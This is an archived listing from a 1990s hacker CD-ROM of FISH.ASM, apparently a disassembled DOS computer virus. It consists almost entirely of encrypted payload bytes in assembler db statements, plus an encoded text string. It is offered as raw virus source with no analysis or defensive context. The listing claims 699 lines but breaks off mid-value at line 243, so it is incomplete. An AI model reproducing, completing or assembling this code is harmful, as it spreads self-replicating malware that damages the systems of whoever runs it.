home *** CD-ROM | disk | FTP | other *** search
/ Hackers Underworld 2: Forbidden Knowledge / Hackers Underworld 2: Forbidden Knowledge.iso / VIRUS / FISH.ASM < prev    next >
Assembly Source File  |  1994-07-17  |  23KB  |  699 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    FISH                         ██
  7. ;██                                         ██
  8. ;██      Created:                                 ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: H                 ██
  11. ;██                                         ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    0B3h            ; (7415:00B3=0)
  16. data_9e        equ    4F0Dh            ; (7415:4F0D=0)
  17. data_10e    equ    0A61Bh            ; (7415:A61B=0)
  18.   
  19. seg_a        segment    byte public
  20.         assume    cs:seg_a, ds:seg_a
  21.   
  22.   
  23.         org    100h
  24.   
  25. fish        proc    far
  26.   
  27. start:
  28.         jmp    loc_6            ; (0EDE)
  29.         db    50h, 0F5h, 2Bh, 0D6h, 7Eh, 0BFh
  30.         db    2Ch, 7Fh, 0F3h, 0A4h, 7, 1Fh
  31.         db    5Fh, 0, 0E9h, 0CAh, 0Dh, 0CDh
  32.         db    20h, 0B9h, 50h, 0, 0BEh
  33.         db    ' is a tiny VOM p'
  34.         db    0EBh, 7Ah, 67h, 72h, 61h, 6Dh
  35.         db    0, 9Ch, 2Eh, 0FFh, 1Eh, 35h
  36.         db    0Eh, 0C3h, 0Dh, 4Eh, 42h, 49h
  37.         db    23h, 82h, 0Bh, 0E7h, 3, 91h
  38.         db    5Dh, 5Eh, 5Ch, 5Fh, 5Bh, 5Ah
  39.         db    13h, 0Bh, 23h, 0F2h, 2Bh, 0E7h
  40.         db    3, 23h, 82h, 0Bh, 0E7h, 3
  41.         db    0Ah, 12h, 52h, 53h, 57h, 54h
  42.         db    56h, 55h, 90h, 23h, 0F2h, 2Bh
  43.         db    0E7h, 3, 5Eh, 45h, 4Ch, 5Fh
  44.         db    46h, 23h, 84h, 2Bh, 5Ah, 2
  45.         db    23h, 81h, 1Bh, 54h, 2, 3
  46.         db    1Ah, 23h, 86h, 2Bh, 56h, 2
  47.         db    23h, 0E5h, 0DEh, 0F2h, 23h, 83h
  48.         db    1Bh, 54h, 2, 23h, 84h, 2Bh
  49.         db    56h, 2, 23h, 86h, 2Bh, 5Ah
  50.         db    2, 0CEh, 23h, 84h, 2Bh, 5Ah
  51.         db    2, 23h, 81h, 1Bh, 54h, 2
  52.         db    3, 1Ah, 23h, 86h, 2Bh, 56h
  53.         db    2, 23h, 0E5h, 96h, 0F2h, 23h
  54.         db    83h, 1Bh, 54h, 2, 23h, 84h
  55.         db    2Bh, 56h, 2, 23h, 86h, 2Bh
  56.         db    5Ah, 2, 0CEh, 81h, 0B3h, 46h
  57.         db    3, 23h, 0C9h, 33h, 38h, 3
  58.         db    3, 12h, 0F1h, 0B4h, 8, 0Dh
  59.         db    0A1h, 2Bh, 8Bh, 8, 85h, 49h
  60.         db    0F2h, 4Ah, 0EFh, 0FBh, 0CEh, 4Eh
  61.         db    4Ch, 5Fh, 5Dh, 0BDh, 0Ch, 3
  62.         db    12h, 0B7h, 0BAh, 1, 0E5h, 0Ch
  63.         db    0Dh, 0CEh, 0Bh, 5Eh, 3Eh, 0D6h
  64.         db    83h, 0CEh, 87h, 0D5h, 0DCh, 0EEh
  65.         db    0DCh, 0EEh, 2Bh, 84h, 1Ah, 2Bh
  66.         db    81h, 52h, 0Fh, 56h, 0Ah, 0CEh
  67.         db    13h, 5Bh, 3Eh, 0FBh, 83h, 0D3h
  68.         db    3Fh, 0E9h, 86h, 0FDh, 0DCh, 0EBh
  69.         db    0DCh, 0EBh, 86h, 11h, 83h, 49h
  70.         db    0Fh, 53h, 12h, 0CEh, 4Fh, 4Ch
  71.         db    5Eh, 5Eh, 0E5h, 0BDh, 0Fh, 0B4h
  72.         db    0E5h, 5Bh, 7, 83h, 23h, 0AEh
  73.         db    0EEh, 3, 0B9h, 5Fh, 23h, 0CAh
  74.         db    0Bh, 56h, 2, 0Dh, 1Dh, 23h
  75.         db    81h, 13h, 48h, 3, 0E5h, 8Dh
  76.         db    6, 0E6h, 0C0h, 2Ch, 2Bh, 86h
  77.         db    4Ah, 0F3h, 23h, 0AEh, 4Ah, 3
  78.         db    3, 12h, 0E5h, 3Dh, 7, 0ACh
  79.         db    0BDh, 2Ch, 0E5h, 0BEh, 0F2h, 81h
  80.         db    0Bh, 22h, 3, 84h, 13h, 20h
  81.         db    3, 0B7h, 0BAh, 1, 0BDh, 0Ch
  82.         db    0CBh, 0Bh, 5Dh, 3, 0Dh, 0E5h
  83.         db    85h, 0F2h, 91h, 55h, 0, 0Dh
  84.         db    0Ch, 5Dh, 90h, 91h, 0B9h, 6Ch
  85.         db    0F2h, 13h, 20h, 3, 91h, 55h
  86.         db    28h, 0F2h, 0F3h, 5Dh, 90h, 0E5h
  87.         db    0ECh, 0Ch, 0AEh, 0C9h, 33h, 20h
  88.         db    3, 81h, 0Bh, 3Ah, 3, 0CBh
  89.         db    0Bh, 46h, 3, 0E7h, 0CAh, 0Bh
  90.         db    41h, 3, 56h, 0, 84h, 33h
  91.         db    38h, 3, 81h, 3, 43h, 3
  92.         db    0E5h, 0Ah, 0Dh, 0E5h, 2Bh, 0F2h
  93.         db    0E5h, 1Ah, 7, 84h, 0BDh, 22h
  94.         db    0E5h, 56h, 0F2h, 81h, 0CEh, 23h
  95.         db    34h, 13h, 4Ah, 3, 7Eh, 11h
  96.         db    0E5h, 32h, 7, 23h, 83h, 13h
  97.         db    22h, 3, 23h, 0F2h, 3Bh, 20h
  98.         db    3, 57h, 0BDh, 1Eh, 0E5h, 24h
  99.         db    0F2h, 3Eh, 0D6h, 83h, 0D6h, 0CBh
  100.         db    0Bh, 78h, 9, 0Fh, 0CEh
  101.         db    '-KD^E-[D_X^-.;- -HLNE-IDKK- -OBC'
  102.         db    'C-?"4=-*sfcwt{bp*)'
  103.         db    0E5h, 0CFh, 0F3h, 23h, 81h, 3
  104.         db    43h, 3, 0E5h, 0B7h, 0F3h, 3
  105.         db    12h, 13h, 0Ah, 0ACh, 48h, 3
  106.         db    83h, 0CDh, 2Bh, 0C8h, 1Bh, 7
  107.         db    0Dh, 83h, 0D5h, 8, 1Dh, 0Dh
  108.         db    23h, 0Ch, 0Bh, 17h, 0Dh, 23h
  109.         db    8Dh, 33h, 2Dh, 0Dh, 0Dh, 0F6h
  110.         db    78h, 29h, 23h, 0ACh, 9, 0Dh
  111.         db    0AEh, 0Dh, 0Ch, 23h, 0ACh, 0Bh
  112.         db    0Dh, 0AEh, 0Fh, 0Ch, 23h, 0ACh
  113.         db    5, 0Dh, 0AEh, 9, 0Ch, 23h
  114.         db    0F2h, 3Bh, 48h, 3, 3Eh, 0CDh
  115.         db    0F3h, 0C9h, 5Dh, 23h, 0ACh, 0EEh
  116.         db    3, 0C6h, 23h, 0Ch, 0Bh, 1Fh
  117.         db    0Dh, 23h, 0ACh, 0EEh, 3, 23h
  118.         db    86h, 2Bh, 19h, 0Dh, 23h, 83h
  119.         db    1Bh, 1Fh, 0Dh, 23h, 0F2h, 23h
  120.         db    15h
  121.         db    0Dh, 59h, 5Fh, 42h, 58h, 59h
  122. loc_1:
  123.         db    3Eh, 0E9h, 0E5h, 0Dh, 0Dh, 84h
  124.         db    0C8h, 81h, 0C5h, 0B6h, 1Dh, 0Dh
  125.         db    0FAh, 0EEh, 54h, 8Ch, 0E4h, 42h
  126.         db    0Fh, 0Eh, 0CCh, 8Eh, 0DFh, 0Dh
  127.         db    0FAh, 0FEh, 5Dh, 0B5h, 0F7h, 0Dh
  128.         db    5Dh, 84h, 0E5h, 0C6h, 0E5h, 0C1h
  129.         db    0Dh, 0C0h, 0E5h, 29h, 7, 0C6h
  130.         db    5Eh, 86h, 0D1h, 3Bh, 86h, 52h
  131.         db    0Bh, 23h, 84h, 13h, 0BEh, 3
  132.         db    56h, 58h, 84h, 0E8h, 0E5h, 0DDh
  133.         db    5, 0AEh, 0E5h, 0FCh, 0F0h, 0E5h
  134.         db    19h, 0F3h, 0E5h, 0CBh, 0F0h, 0E5h
  135.         db    95h, 0F0h, 0E5h, 0CDh, 5, 85h
  136.         db    8Dh, 0F1h, 2, 78h, 9, 0E4h
  137. data_3        dw    0DE4h            ; Data table (indexed access)
  138.         db    0B5h, 8Dh, 0F1h, 1Ch, 78h, 9
  139.         db    0E4h, 96h, 0Dh, 0ACh, 8Dh, 0F1h
  140.         db    1Fh, 78h, 9, 0E4h, 9Fh, 0Dh
  141.         db    84h, 8Dh, 0F1h, 19h, 78h, 9
  142.         db    0E4h, 4, 0Ch, 0E6h, 8Dh, 0F1h
  143.         db    2Ch, 78h, 9, 0E4h, 0F9h, 0Dh
  144.         db    81h, 8Dh, 0F1h, 2Eh, 78h, 9
  145.         db    0E4h
  146. data_4        db    89h            ; Data table (indexed access)
  147.         db    0Ch, 0AEh, 8Dh, 0F1h, 2Ah, 78h
  148.         db    9, 0E4h, 0EDh, 0Dh, 0E6h, 8Dh
  149.         db    0F1h, 30h, 78h, 9, 0E4h, 0CBh
  150. data_5        dw    0F20Ch            ; Data table (indexed access)
  151.         db    8Dh, 0F1h, 33h, 78h, 9, 0E4h
  152.         db    0Ch, 0Fh, 0ACh, 8Dh, 0F1h, 32h
  153.         db    78h, 9, 0E4h, 70h, 0Ah, 85h
  154.         db    8Dh, 0F1h, 4Fh, 78h, 9, 0E4h
  155.         db    4Fh, 0Ah, 81h, 8Dh, 0F1h, 46h
  156.         db    78h, 9, 0E4h, 11h, 0Fh, 0E6h
  157.         db    8Dh, 0F1h, 43h, 78h, 9, 0E4h
  158.         db    5Eh, 5, 84h, 8Dh, 0F1h, 42h
  159.         db    78h, 9, 0E4h, 47h, 5, 83h
  160.         db    8Dh, 0F1h, 5Ah, 78h, 0Eh, 0E4h
  161.         db    0C2h, 0Bh, 0E4h, 5Ah, 4, 0E6h
  162.         db    0E5h, 7Fh, 4, 0ACh, 0E5h, 5Eh
  163.         db    0F0h, 0E5h, 7Bh, 0F0h, 0E5h, 25h
  164.         db    0F0h, 84h, 0E8h, 23h, 0F2h, 3Bh
  165.         db    0BEh, 3, 82h, 4Bh, 0Bh, 50h
  166.         db    0C2h, 23h, 0F2h, 0Bh, 3Ch, 3
  167.         db    0E4h, 19h, 5, 0ACh, 0E5h, 0F5h
  168.         db    0F1h, 0E5h, 0DAh, 0F1h, 7, 0CDh
  169.         db    78h, 0D9h, 0E5h, 0D6h, 0F1h, 0E5h
  170.         db    0CCh, 0Ch, 0BDh, 0Dh, 8Dh, 32h
  171.         db    0F2h, 78h, 0Bh, 87h, 4Ah, 0Bh
  172.         db    8Eh, 0CEh, 0Ah, 23h, 2Dh, 0Bh
  173.         db    0FDh, 3, 0FBh, 4Ah, 17h, 8Dh
  174.         db    79h, 18h, 8Dh, 62h, 17h, 0C5h
  175.         db    23h, 8Dh, 33h, 0FDh, 3, 0Dh
  176.         db    78h, 4, 8Ch, 62h, 10h, 0Dh
  177.         db    3, 8Eh, 52h, 12h, 0Dh, 0E5h
  178.         db    0B6h, 0F1h, 0E6h, 91h, 4Bh, 44h
  179.         db    43h, 0E5h, 0BEh, 0F1h, 0E5h, 9Fh
  180.         db    0F1h, 0E5h, 97h, 0F1h, 7, 0CDh
  181.         db    78h, 0E6h, 84h, 0DEh, 0FBh, 4Ah
  182.         db    18h, 8Dh, 79h, 0EEh, 8Dh, 62h
  183.         db    18h, 0C5h, 8Ch, 62h, 1Dh, 0Dh
  184.         db    3, 8Dh, 52h, 1Fh, 0Dh, 0E6h
  185.         db    0D9h, 23h, 0F2h, 3, 3Ch, 3
  186.         db    0E4h, 0AFh, 0Ah, 0AEh, 0EEh, 16h
  187.         db    84h, 0DEh, 86h, 7Ah, 2Ch, 6
  188.         db    7Ah, 2Eh, 78h, 1Ch, 0E6h, 7
  189.         db    84h, 0DEh, 86h, 4Ah, 1, 7
  190.         db    4Ah, 2Dh, 78h, 8, 0E5h, 0EEh
  191.         db    9, 7Eh, 0Eh, 0E4h, 45h, 0F2h
  192.         db    0E5h, 6Bh, 0F1h, 0E5h, 5Dh, 0F1h
  193.         db    0E5h, 4Fh, 0F1h, 84h, 43h, 0F5h
  194.         db    84h, 4Bh, 0F1h, 13h, 5Fh, 0E5h
  195.         db    26h, 0Ch, 8Eh, 72h, 19h, 0Ch
  196.         db    79h, 16h, 86h, 0Ah, 0Eh, 4Ah
  197.         db    0Fh, 5Eh, 86h, 52h, 9, 0FAh
  198.         db    0DEh, 0Ch, 0D5h, 56h, 79h, 6
  199.         db    8Eh, 0C9h, 9, 0E4h, 76h, 0F2h
  200.         db    40h, 58h, 5Eh, 46h, 54h, 57h
  201.         db    12h, 84h, 0DBh, 3, 0Ah, 0B4h
  202.         db    28h, 0Dh, 0B2h, 0B8h, 3, 0FEh
  203.         db    0A9h, 0B2h, 0B8h, 3, 3, 12h
  204.         db    86h, 58h, 1Fh, 86h, 48h, 1Dh
  205.         db    8, 2, 3, 8Eh, 0DFh, 0Dh
  206.         db    28h, 0FDh, 0F2h, 84h, 58h, 1Fh
  207.         db    84h, 48h, 1Dh, 20h, 0F1h, 0
  208.         db    8Eh, 0D7h, 0Dh, 84h, 58h, 2Eh
  209.         db    84h, 48h, 2Ch, 0B4h, 11h, 0Dh
  210.         db    0CAh, 48h, 3, 0Ch, 0Dh, 0B9h
  211.         db    2Ah, 84h, 0F7h, 0E5h, 0DEh, 0F6h
  212.         db    0E4h, 3Dh, 0F2h, 3, 0Ah, 0B2h
  213.         db    0B8h, 3, 0B4h, 28h, 0Dh, 84h
  214.         db    0DBh, 0FEh, 0A9h, 13h, 5Fh, 3
  215.         db    12h, 0B9h, 2, 0B7h, 0B8h, 3
  216.         db    0E5h, 0B5h, 0F6h, 0B9h, 1Dh, 0E5h
  217.         db    0BEh, 0F6h, 0FBh, 0Bh, 0C7h, 3
  218.         db    8Dh, 53h, 12h, 79h, 26h, 23h
  219.         db    0C9h, 13h, 0C8h, 3, 81h, 0CDh
  220.         db    8Ch, 0E6h, 0Dh, 3, 10h, 0Dh
  221.         db    0Dh, 3Eh, 0DFh, 23h, 86h, 3
  222.         db    0CEh, 3, 44h, 0Ch, 0C6h, 18h
  223.         db    0Dh, 0Dh, 4Ch, 0FAh, 0FCh, 84h
  224.         db    49h, 2Eh, 9Fh, 9Eh, 0FAh, 0FCh
  225.         db    84h, 49h, 2Ch, 0E4h, 0D2h, 0F3h
  226.         db    0E4h, 74h, 0F3h, 0E5h, 61h, 9
  227.         db    0E5h, 18h, 9, 7Fh, 34h, 23h
  228.         db    8Dh, 33h, 0AFh, 3, 0Dh, 79h
  229.         db    3Ch, 0E5h, 64h, 9, 8Eh, 0F6h
  230.         db    0F2h, 79h, 24h, 23h, 0F3h, 3
  231.         db    0AFh, 3, 3, 0Ah, 0B4h, 19h
  232.         db    0Dh, 0B2h, 5Fh, 3, 3Eh, 0CDh
  233.         db    0FFh, 0A2h, 23h, 0ACh, 0AEh, 3
  234.         db    2Bh, 84h, 48h, 0F3h, 2Bh, 84h
  235.         db    50h, 2Bh, 84h, 53h, 0F1h, 23h
  236.         db    8Dh, 2Bh, 0BEh, 3, 0F3h, 0E4h
  237.         db    96h, 0F3h, 0E4h, 38h, 0F3h, 3
  238.         db    0Ah, 0E5h, 2Bh, 9, 0B4h, 19h
  239.         db    0Dh, 23h, 0ACh, 0AEh, 3, 0B2h
  240.         db    5Fh, 3, 0FFh, 0A2h, 78h, 1Bh
  241.         db    2Bh
  242. loc_2:
  243.         db    36h, 50h, 2B